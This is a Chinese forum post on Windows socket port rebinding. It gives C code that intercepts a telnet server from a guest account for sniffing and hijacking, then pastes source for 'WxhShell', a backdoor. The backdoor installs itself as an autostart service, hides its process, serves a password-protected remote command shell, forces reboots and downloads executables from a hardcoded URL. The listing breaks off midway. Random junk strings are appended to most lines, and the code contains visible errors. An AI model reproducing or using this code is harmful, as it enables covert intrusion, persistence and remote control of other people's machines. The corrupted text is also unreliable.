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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZrFC#wJb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eOQUy +  
5E/z.5 q  
  saddr.sin_family = AF_INET; WeTsva+  
!:mo2zA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dviL5Eaj  
Osdw\NNH~M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  98os4}r  
(SLAq$gvd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GiN\nu<!  
 mq?5|`  
  这意味着什么?意味着可以进行如下的攻击: #is:6Z,OEU  
Nd~?kZZu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3~4e\xL  
<;.Zms${@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sgo({zA`i  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XX,iT~+-  
|wZ8O}O{E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >'@yq  
#s1O(rLRl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HZdmL-1Z^+  
I#kK! m1Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V,($I'&/  
[BHf>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5o5y3ibQ  
elZ?>5P$}  
  #include O edL?4  
  #include K^k1]!W=  
  #include 02} &h  
  #include    oQ 5g0(J~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *lg1iP{]  
  int main() jBV2]..  
  { A:1O:LB=!  
  WORD wVersionRequested; U6 "U^  
  DWORD ret; y5.Z<Y  
  WSADATA wsaData; |8h<Ls_  
  BOOL val;  c/I.`@  
  SOCKADDR_IN saddr; z_eP  
  SOCKADDR_IN scaddr; qu8i Jq  
  int err; r:y *l4  
  SOCKET s; SHPaSq'&N  
  SOCKET sc; ]YZ+/:#U7  
  int caddsize; }.7!@!q.  
  HANDLE mt; 7ju7QyR  
  DWORD tid;   *~fZ9EkD  
  wVersionRequested = MAKEWORD( 2, 2 ); ~ -Rr[O=E  
  err = WSAStartup( wVersionRequested, &wsaData ); %L{H_;z  
  if ( err != 0 ) { N<:5 r  
  printf("error!WSAStartup failed!\n"); ,-t3gc1~X  
  return -1; $GUSTV  
  } A L}c-#GG  
  saddr.sin_family = AF_INET; %$I\\q q>{  
   R5G~A{w0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O%A:2Y79  
52tIe|KwL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); //:.k#}~B  
  saddr.sin_port = htons(23); ?};}#%971  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g||{Qmr=1  
  { U n2xZ[4  
  printf("error!socket failed!\n"); {.z2n>1J{T  
  return -1; C+,;hj  
  } )m"NO/sJ2  
  val = TRUE; ];^A8?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a |32Pn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RP7e)?5$s  
  { 18Pc4~ >0  
  printf("error!setsockopt failed!\n"); G[r_|-^S  
  return -1; y)|Q~8r  
  } $uawQf+S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0X`Qt[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 06pLa3oi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [L|H1ll  
vd SV6p.d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f$iv+7<B^  
  { ~kYUp5f  
  ret=GetLastError(); 4t|g G`QW7  
  printf("error!bind failed!\n"); Q4TI '/  
  return -1; /P5w}n  
  } ]/HSlT=  
  listen(s,2); y^pk)`y8  
  while(1) K&9|0xt  
  { gf2l19aP  
  caddsize = sizeof(scaddr); &'N{v@Oi)  
  //接受连接请求 5 r"`c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <O?iJ=$  
  if(sc!=INVALID_SOCKET) iT%aAVs  
  { _$NFeqLww  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Iujly f  
  if(mt==NULL) k)b}"' I  
  {  ^vYH"2  
  printf("Thread Creat Failed!\n"); 9loWh5_1Z  
  break; dfiA- h  
  } \^iJv ~d  
  } @T._   
  CloseHandle(mt); dZIAotHN:  
  } x:88E78  
  closesocket(s); _:Tjq)  
  WSACleanup(); ~urIA/  
  return 0; tlV>  
  }   '~VKH}b  
  DWORD WINAPI ClientThread(LPVOID lpParam) A9Q!V01_  
  { sczN0*w&C  
  SOCKET ss = (SOCKET)lpParam; e ,/I}W  
  SOCKET sc; j5|_SQOmt  
  unsigned char buf[4096]; f'0n^mSP  
  SOCKADDR_IN saddr; 8s/gjEwA  
  long num; cNtGjLpx;  
  DWORD val; C$vKRg\o  
  DWORD ret; sNc(aGvy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -ZlBg~E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &dh%sFy  
  saddr.sin_family = AF_INET; bTHKMaGWC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3xxQL,FV  
  saddr.sin_port = htons(23); --d<s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8;ke,x  
  { dFS>uIT7X  
  printf("error!socket failed!\n"); K:Wxx "  
  return -1; G+stt(k:  
  } Bq.@CxK  
  val = 100; _7'9omq@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PEac0rSW  
  { L{jJDd  
  ret = GetLastError(); V%8?f,  
  return -1; svCD&~|K#  
  } Yz=(zj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X^ckTIdR  
  { jl;_lcO  
  ret = GetLastError(); K#rfQ0QK/!  
  return -1; lqn7$  
  } GwQW I ]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f.JZ[+  
  { _ui03veA1  
  printf("error!socket connect failed!\n"); -G e5gQ=  
  closesocket(sc); )uC],CbW{  
  closesocket(ss); \ T/i]z  
  return -1; {e\Pd!D?|  
  } 4z#{nZG  
  while(1) 11[[Hk X@  
  { 59!yz'feF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R''nZ/R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4e~^G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l9KL P  
  num = recv(ss,buf,4096,0); 0B fqEAl  
  if(num>0) 5Ds/^fA  
  send(sc,buf,num,0); {*,~,iq  
  else if(num==0) x|U~?  
  break; rt%?K.S/  
  num = recv(sc,buf,4096,0); NAjY,)>'K  
  if(num>0) <_$]!Z6UR  
  send(ss,buf,num,0); mR@|]T  
  else if(num==0) BLZ#vJR  
  break; >}Qj|05G  
  } /_<`#?5T(  
  closesocket(ss); B!-hcn]y  
  closesocket(sc); *p:`F:  
  return 0 ; IhnHNY]<g  
  } <6QG7 i  
W,"|([t4.\  
_OV\W'RrA  
========================================================== Ri4t/H  
/WlK*8C  
下边附上一个代码,,WXhSHELL Py7!_TX  
g?N~mca$  
========================================================== pYZ6-s  
DTmv2X  
#include "stdafx.h" F}3<q   
u$ [R>l9  
#include <stdio.h> z@;]Hy  
#include <string.h> jy@vz,/:%5  
#include <windows.h> J$6h% Eyo  
#include <winsock2.h> Z0&^U#]  
#include <winsvc.h> 8 2qf7`  
#include <urlmon.h> dv=y,q@W  
7pMl:\  
#pragma comment (lib, "Ws2_32.lib") t`NZ_w /  
#pragma comment (lib, "urlmon.lib") K$OxeJP?F  
j.FA!4L  
#define MAX_USER   100 // 最大客户端连接数 :$k':0 n  
#define BUF_SOCK   200 // sock buffer 3sG7G:4  
#define KEY_BUFF   255 // 输入 buffer Td#D\d\R  
<!b~7sZkTc  
#define REBOOT     0   // 重启 X-1<YG  
#define SHUTDOWN   1   // 关机 0#(K}9T)  
,XT#V\qne  
#define DEF_PORT   5000 // 监听端口 H.-jBFt}  
dFY]~_P472  
#define REG_LEN     16   // 注册表键长度 s X&.8  
#define SVC_LEN     80   // NT服务名长度 GMmz`O XN  
EvZ;i^.8LS  
// 从dll定义API v*Tliw`-U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6k6M&a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s_]p6M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W: Rs 0O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5.gM]si  
gcYx-gA}  
// wxhshell配置信息 GwiG..Y]&  
struct WSCFG { Bvzu{B%  
  int ws_port;         // 监听端口 }e3M5LI1L  
  char ws_passstr[REG_LEN]; // 口令 blxAy  
  int ws_autoins;       // 安装标记, 1=yes 0=no #Mo`l/Cwp  
  char ws_regname[REG_LEN]; // 注册表键名 %bI(   
  char ws_svcname[REG_LEN]; // 服务名 /dTy%hZC}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p.KX[I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y" 9 o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?pgdj|"a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x_9<&Aj6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [?3*/*V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !_GY\@}  
K/RQ-xd4  
}; =PHl|^  
j,Sg?&"%=  
// default Wxhshell configuration 4 -)'a} O  
struct WSCFG wscfg={DEF_PORT, [vki^M5i|Z  
    "xuhuanlingzhe", xt]Z{:.  
    1, .0]4@'  
    "Wxhshell", `x:znp}'  
    "Wxhshell", Ke-Q>sm2Q  
            "WxhShell Service", Q,Tet&in )  
    "Wrsky Windows CmdShell Service", 8f>=.O*)  
    "Please Input Your Password: ", }*Qd]\fy  
  1, y e!Bfz>  
  "http://www.wrsky.com/wxhshell.exe", g-'y_'%0G  
  "Wxhshell.exe" a2W}Wb+  
    }; 3oX%tx  
{9TWPB/>  
// 消息定义模块 @k~?h=o\b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M,V+bt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <B6@q4Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rf@D]+v  
char *msg_ws_ext="\n\rExit."; U -~%-gFC  
char *msg_ws_end="\n\rQuit."; g+/%r91hZ  
char *msg_ws_boot="\n\rReboot..."; R_h(Z{d  
char *msg_ws_poff="\n\rShutdown..."; 7SzY0})<U  
char *msg_ws_down="\n\rSave to "; $w%oLI@kl  
Rde_I`Ru  
char *msg_ws_err="\n\rErr!"; m%V+px  
char *msg_ws_ok="\n\rOK!"; >(z{1'f{  
EQPZV K/  
char ExeFile[MAX_PATH]; m^ zx &  
int nUser = 0; 6QdNGpN  
HANDLE handles[MAX_USER]; /R#-mY  
int OsIsNt; ':# ?YQ}2  
.;WJ(kB\U  
SERVICE_STATUS       serviceStatus; ~WuElns  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qu]0BVIe  
s# w+^Mw$  
// 函数声明 @_YEK3l]l  
int Install(void); I^Ichn  
int Uninstall(void); 7HPLD&WPt  
int DownloadFile(char *sURL, SOCKET wsh); c?) pn9  
int Boot(int flag); )DMu`cD  
void HideProc(void); 322W"qduTZ  
int GetOsVer(void); $m/-E#I #Z  
int Wxhshell(SOCKET wsl); 0kgK~\^,.O  
void TalkWithClient(void *cs); &n<jpMB  
int CmdShell(SOCKET sock); 3DK^S2\zBm  
int StartFromService(void); R+]p -NI^  
int StartWxhshell(LPSTR lpCmdLine); AX**q$ 'R  
Af=%5%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "b%hAdR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f[7'kv5S  
L:YsAv  
// 数据结构和表定义 &ukNzV}VW  
SERVICE_TABLE_ENTRY DispatchTable[] = xmKa8']x  
{ ==x3|^0y  
{wscfg.ws_svcname, NTServiceMain}, 2`5(XpYe  
{NULL, NULL} f<SSg* A;  
}; ,<hXNN  
}=A6Jv(j  
// 自我安装 ?3SlvKI}H`  
int Install(void) ([|5(Omd\  
{ ~b\7 qx_a9  
  char svExeFile[MAX_PATH]; ?y<n^`  
  HKEY key; UShn)3F  
  strcpy(svExeFile,ExeFile); R,Zuy( g  
Y@eHp-[  
// 如果是win9x系统,修改注册表设为自启动 ;YZw{|gsh  
if(!OsIsNt) { rShi"Yw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HKOJkbVZ2^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IX7d[nm39  
  RegCloseKey(key); 0nx <f>n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EfDo%H^!j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ $r^Ur!E\  
  RegCloseKey(key); 9Z*`{  
  return 0; }/c.>U  
    } gY0*u+LF  
  } s^C*uP;R  
} $L</{bXW  
else { { w!}:8p  
eBU\&z[  
// 如果是NT以上系统,安装为系统服务 Jq6p5jr"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z*yN*M6t  
if (schSCManager!=0) GsDSJz  
{ d,<ctd  
  SC_HANDLE schService = CreateService 4] ?  
  ( \!cqeg*53  
  schSCManager, ULU ]k#  
  wscfg.ws_svcname, 0RoI`>j'  
  wscfg.ws_svcdisp, W@wT ,yJ8@  
  SERVICE_ALL_ACCESS, )>\Ne~%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S NK+U"Q  
  SERVICE_AUTO_START, -^#Ix;%  
  SERVICE_ERROR_NORMAL, ?-@h Nrx  
  svExeFile, [*}[W6 3v  
  NULL, )%^oR5W  
  NULL, P:*'x9`  
  NULL, {+C>^b  
  NULL, ]-* }-j`  
  NULL +e ?ixvld  
  ); ' J-(v  
  if (schService!=0) _^a.kF  
  { $oxPmELtpe  
  CloseServiceHandle(schService); Hlz4f+#I  
  CloseServiceHandle(schSCManager); =HoiQWQs`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #mllVQ  
  strcat(svExeFile,wscfg.ws_svcname); 9MHb<~F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0.@/I}R[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Zj?%4  
  RegCloseKey(key); Wb4sfP_  
  return 0; MH !CzV&  
    } l>=c]  
  } 9l,Gd  
  CloseServiceHandle(schSCManager); wh*OD  
} q>Q|:g&:  
}  bM-Y4[  
,Y`C7Px  
return 1; {Or|] 0  
} N}dJ)<(2~  
Kjf#uU.7  
// 自我卸载 3i s .c)  
int Uninstall(void) Tl=vgs1  
{ Hy `r}+  
  HKEY key; e,4!/|H:  
DG:=E/@  
if(!OsIsNt) { f ~Fus  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +-.BF"}  
  RegDeleteValue(key,wscfg.ws_regname); hVGakp9WE  
  RegCloseKey(key); u@gYEx}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (+^1'?C8  
  RegDeleteValue(key,wscfg.ws_regname); Q`//HOM,  
  RegCloseKey(key); Yb?#vpI  
  return 0; .7kVC  
  } R/b=!<  
} gf3/kll9  
} SU#|&_wtr!  
else { /S;?M\  
ar^`r!ABEh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BFEo:!'F  
if (schSCManager!=0) ~z aV.3#  
{ FcWu#}.p}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _n_i*p '2  
  if (schService!=0) WYh7Y  
  { QU#/(N(U#T  
  if(DeleteService(schService)!=0) { ~z'0~3  
  CloseServiceHandle(schService); 3$kZu  
  CloseServiceHandle(schSCManager); XG [%oL  
  return 0; )8k6GO8|  
  } t)m4"p7  
  CloseServiceHandle(schService); X:e'@]Z)?  
  } 5$#<z1M.&  
  CloseServiceHandle(schSCManager); UG!&n@R  
} WI6er;D  
} 9rid98~d  
 ?Z!KV=  
return 1; ^{Vm,nAQqs  
} DBv5Og  
P#0 _  
// 从指定url下载文件 1";~"p2(  
int DownloadFile(char *sURL, SOCKET wsh) .DX#:?@4@Y  
{ <T}#>xHs3  
  HRESULT hr; Qz<-xe`o8]  
char seps[]= "/";  qJK^i.e  
char *token; Kr#=u~~M  
char *file; iKK=A.g  
char myURL[MAX_PATH]; K)14v;@  
char myFILE[MAX_PATH]; hlVP_h"z  
F?dTCa  
strcpy(myURL,sURL); k]JLk"K  
  token=strtok(myURL,seps); jsG9{/Ov3  
  while(token!=NULL) dqe_&C@*O  
  { DTJ  
    file=token; 6RF01z|~_  
  token=strtok(NULL,seps); 54OYAkPCk  
  } Po_9M4kU  
a=J?[qrx  
GetCurrentDirectory(MAX_PATH,myFILE); _+. t7q^  
strcat(myFILE, "\\"); jmb\eOq+~V  
strcat(myFILE, file); CJC|%i3  
  send(wsh,myFILE,strlen(myFILE),0); 55I>v3 w  
send(wsh,"...",3,0); w Vof_'F1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Uyh   
  if(hr==S_OK) _E%[D(  
return 0; <hea%6  
else EW!$D  
return 1; wiVQMgi`  
W@G[ gS\T  
} GWW@8GNI  
Dux`BKl  
// 系统电源模块 .$yw;go3  
int Boot(int flag)  Ntqc=z  
{ 3UaP7p+d  
  HANDLE hToken; j@ "`!uPz  
  TOKEN_PRIVILEGES tkp; wv7jh~x(4  
EK'&S=]  
  if(OsIsNt) { cU>&E* wD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H )}WWXK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <H p"ZCN  
    tkp.PrivilegeCount = 1; y((_V%F}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y"hM6JI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zbR.Lb  
if(flag==REBOOT) { c,qCZ-.Sg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t2:c@)  
  return 0; Pjy?&;GvT  
} KCFwO'  
else { RmQt%a7\{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q!TbM"  
  return 0; 5 QeGx3'  
} HLk"a-+'  
  } ""+*Gn 7^8  
  else { s`J=:>9*  
if(flag==REBOOT) { ob7_dWAG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U{_s1  
  return 0; V[M#qZS  
} v(h Xk]S  
else { ;40m goN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9O Q4\  
  return 0; Zz-;jkX)  
} }ELCnN  
} hN53=X:  
w'0M>2   
return 1; &-:yn&f7  
} nc~d*K\!  
h yKg=Foq  
// win9x进程隐藏模块 cQ41NX@I  
void HideProc(void) aTm.10{^  
{ +I n"OR%  
N)*e^Nfb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uq%3;#[0  
  if ( hKernel != NULL ) )T5h\ZO`;  
  { HdUW(FZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RM1uYFs<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }hitU(5t0  
    FreeLibrary(hKernel); j~H`*R=ld#  
  } .K1E1Z_  
8VmN? "5v  
return; "3|"rc&F#  
} ?1:/ 6  
9sj W  
// 获取操作系统版本 'F?Znd2L  
int GetOsVer(void) *.c9$`s  
{ u2B W]T]  
  OSVERSIONINFO winfo; TDE1z>h+"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QeJ.o.m{  
  GetVersionEx(&winfo); SzlfA%4+GR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Dls36F  
  return 1; xO-U]%oq  
  else d.j'0w"   
  return 0; niEEm`"  
} 0o$HC86w  
w1#jVcUQ  
// 客户端句柄模块 KbdfSF$  
int Wxhshell(SOCKET wsl) H L|s pl(c  
{ B=bI'S8\  
  SOCKET wsh; ]|t.wr3AU  
  struct sockaddr_in client; I/V )z9  
  DWORD myID; JX/4=..  
4_762Gu%  
  while(nUser<MAX_USER) "]s|D@^4#b  
{ hJo^Wo  
  int nSize=sizeof(client); &<V_[Wh"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E'^]zW=9  
  if(wsh==INVALID_SOCKET) return 1; 9X$#x90  
T E&Q6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *Iwk47J ;a  
if(handles[nUser]==0) ow+Dd[i  
  closesocket(wsh); "-Q Rkif  
else ]6B mCh  
  nUser++; n*m"L|:ff  
  } TG63  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q_kT}6#(J=  
:DMHezaU  
  return 0; |pH* CCA  
} <duBwkiG  
h*#2bS~nl-  
// 关闭 socket YNg\"XjJM<  
void CloseIt(SOCKET wsh) 'lN*Ys iDi  
{ %O&m#)|  
closesocket(wsh); C^,4`OI  
nUser--; nGv23R(?G  
ExitThread(0); uZo`IKJ  
} K=c=/`E  
-4vHK!l  
// 客户端请求句柄 rv,NQZ  
void TalkWithClient(void *cs) i.&Kpw9;m  
{ :m* !?QGdL  
MvZ+n  
  SOCKET wsh=(SOCKET)cs; @L[PW@:SZ  
  char pwd[SVC_LEN]; \[[TlB>  
  char cmd[KEY_BUFF]; FDVI>HK @  
char chr[1]; h0F0d^W.  
int i,j; &e-#|p#v  
*(d6Z#  
  while (nUser < MAX_USER) { L}}=yh6r  
]&C:>  
if(wscfg.ws_passstr) { {d 1N&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mq J0z4I}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !F+|Y"c  
  //ZeroMemory(pwd,KEY_BUFF); ~aJW"\{  
      i=0; 9h:jFhsA9  
  while(i<SVC_LEN) { #~H%[ sa  
}osHA`x"2  
  // 设置超时 #Mj$o;SX  
  fd_set FdRead; >JKnGeF  
  struct timeval TimeOut; q_<*esZ,  
  FD_ZERO(&FdRead); dGbU{#"3s  
  FD_SET(wsh,&FdRead); @-wNrW$  
  TimeOut.tv_sec=8; T-a&e9B  
  TimeOut.tv_usec=0; 7tpAZ<{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J3/\<=Qh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !,cQ'*<W8-  
(NH8AS<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rc;7W:  
  pwd=chr[0]; MU_!&(X_  
  if(chr[0]==0xd || chr[0]==0xa) { LP^p~5Az  
  pwd=0; 81GQijq  
  break; rNxrQ  
  } dT5J-70Fl  
  i++; BFBR/d[&  
    } LP.HS'M~u  
S~+O` y^  
  // 如果是非法用户,关闭 socket o3Mf:;2cC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K :1g"  
} ]Nnxnp  
kQ@gO[hS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r5t;'eCe a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EzR%w*F>Q  
X AQGG>  
while(1) { `wNm%*g  
Oo FgQEr@  
  ZeroMemory(cmd,KEY_BUFF); 8';m)Jc  
u@<Pu@?xm  
      // 自动支持客户端 telnet标准   yC0C`oC  
  j=0; 1TKEm9j]u  
  while(j<KEY_BUFF) { h,^BC^VU9-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^#]c0  
  cmd[j]=chr[0]; s(Z(e %  
  if(chr[0]==0xa || chr[0]==0xd) { >BBl 7  
  cmd[j]=0; ?#d6i$  
  break; +`ai1-vw  
  } 3pB}2]  
  j++; e"]"F{Q  
    } +wipfL~&S  
lK0s=4c{  
  // 下载文件 +}P%HH]E/p  
  if(strstr(cmd,"http://")) { X4a^m w\"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rVY?6OMkd  
  if(DownloadFile(cmd,wsh)) )D;*DUtMVm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3filAGR?  
  else ^7.XGWQ)-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n|WfaJQZ  
  } Z.quh;  
  else { X2qv^G,  
uKv&7p@|_)  
    switch(cmd[0]) { T .kyV|  
  c7\VTYT  
  // 帮助 Pg`JQC|  
  case '?': { 1pK6=-3w3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '_V #;DI  
    break; k0L] R5W  
  } f-4.WW2FN  
  // 安装 $_sYfU9  
  case 'i': { 6JhMkB^h  
    if(Install()) >L gVj$Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Gow5-(  
    else !DPF7x(-{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w]nX?S8  
    break; &f-hG3/M  
    } :$?Q D  
  // 卸载 u^=`%)  
  case 'r': { m[spn@SF  
    if(Uninstall()) ?Nf 5w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:g_'K"+  
    else `N}d}O8   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -p`L% xj\  
    break; %m eLW&  
    } v`x|]-/M&  
  // 显示 wxhshell 所在路径 sHdp  
  case 'p': { ='}#`',  
    char svExeFile[MAX_PATH]; $e }n  
    strcpy(svExeFile,"\n\r"); )o{aeV  
      strcat(svExeFile,ExeFile); :HRT 2I  
        send(wsh,svExeFile,strlen(svExeFile),0); H=p`T+  
    break; <r~wZ}s  
    } bAEg$A  
  // 重启 OX\$nQ\o  
  case 'b': { "$|Zr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M&KyA  
    if(Boot(REBOOT)) :U'Cor H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;JT(3yK4>p  
    else { kccWoU,  
    closesocket(wsh); FOH@OY  
    ExitThread(0); }Cj8  
    } mrM4RoO  
    break; ~Y7dH Dn  
    } c?E{fD"Fc3  
  // 关机 6B" egYv  
  case 'd': { eKG2*CV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I4t*?  
